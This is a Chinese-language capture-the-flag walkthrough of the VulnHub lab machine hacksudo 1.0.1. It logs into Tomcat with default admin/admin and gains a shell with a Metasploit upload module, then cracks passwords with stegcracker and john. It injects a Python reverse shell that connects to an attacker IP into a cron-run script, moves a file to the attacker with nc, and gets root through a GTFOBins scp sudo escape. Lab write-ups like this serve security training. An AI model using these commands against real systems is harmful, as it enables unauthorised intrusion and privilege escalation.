vulnhub靶场hacksudo: 1.0.1
0x000 靶场描述
The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You'll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
0x001 靶场下载
https://www.vulnhub.com/entry/hacksudo-101,650/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.105
2222 ssh
80 http
8080 http
访问80端口,查看源代码,发现传入username参数后会跳转到fandom.php页面
尝试访问一下fandom.php页面,处于登陆状态,查找信息;很可惜,没找到。。。
访问8080端口,发现是一个tomcat服务器,尝试弱口令登陆,账号密码:admin/admin
0x003 漏洞利用
tomcat文件上传漏洞
可以使用metasploit框架并使用与Tomcat管理器相关的漏洞。另一种方法是使用“WAR”文件部署应用程序;这里我选择第一种
参考:https://nepcodex.com/2021/06/hacksudo-1-0-1-walkthrough-vulnhub-writeup/
msfconsole
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.102
set RPORT 8080
set HttpPassword admin
set HttpUsername admin
exploit
进入/var/backups/hacksudo
目录下,发现如下文件
下载到本地查看
download hacksudo.zip
download log.txt
download vishal.jpg
图片隐写
sudo pip3 install stegcracker
stegcracker vishal.jpg /home/kali/rockyou.txt
cat vishal.jpg.out
凯撒解密&&hash解密
使用 https://gchq.github.io/CyberChef 尝试解密,发现用户vishal,但是密码还没解出来
尝试hash解密,密码为hacker;也可以使用john解密
echo 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327 > hash
john hash --wordlist=/home/kali/rockyou.txt --format=raw-sha512
0x004 提权
ssh登陆之后查看当前用户权限,没有可以执行root的命令
查看office目录下的hacksudo.c和manage.sh文件源代码,发现编译的二进制文件将首先设置执行它的用户的 setuid 权限。然后,它将运行 manage.sh 脚本。接下来,manage.sh 脚本包含一些命令,如 echo。更重要的是,用户有权写入 manage.sh 文件。因此,他可以编写将由用户 hacksudo 执行的任何命令。但是,其他用户不能执行二进制 hacksudo,因为它只能由它的所有者执行,即用户 hacksudo。
尝试查看计划任务文件,发现每隔一分钟就会运行一次/home/hacksudo/getmanager脚本;先来查看一下脚本的内容
kali监听
nc -lvnp 5555 > getmanager
目标机
nc 192.168.1.108 5555 < /home/hacksudo/getmanager
strings getmanager
这与我们在 vishal 的 Office 目录中看到的二进制文件相同,即 hacksudo。正如我之前所说,用户 vishal 可以编写任何他想以用户 hacksudo 身份执行的命令。所以添加如下内容
vi manage.sh
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.1.108",5555));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
kali监听等待上线,成功获取到hacksudo用户shell
查看当前用户权限,发现可以以root权限运行scp命令
参考:https://gtfobins.github.io/gtfobins/scp/#sudo
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y: